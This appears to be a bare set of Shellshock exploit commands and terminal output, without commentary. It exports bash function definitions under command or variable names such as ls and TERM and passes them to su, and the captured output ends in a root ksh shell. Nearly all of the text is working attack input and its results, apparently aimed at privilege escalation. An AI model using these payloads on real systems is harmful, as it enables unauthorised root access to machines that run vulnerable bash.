$ export ls='() { echo "doing bad things..."; }'
$ bash -c ls
doing bad things...

#!/bin/sh
exec /usr/local/myapp/support/someperlscript.pl

#!/bin/bash -norc
exec /usr/local/myapp/support/someperlscript.pl

exec env -i TERM=vt102 LOGNAME=root USER=root HOME=/var/root /bin/ksh -i

%dock='() { echo -e "e[2tc"; echo dockshock;} ; dock' su

%TERM='() { echo -e "e[2tc"; echo dockshock;} ; TERM' su -

%TERM='() { echo -e "e[2tc"; echo dockshock;} ; TERM' su -
Password:
dockshock
# env
_=/usr/bin/env
HOME=/var/root
LOGNAME=root
TERM=vt102
USER=root
# echo $0
/bin/ksh
#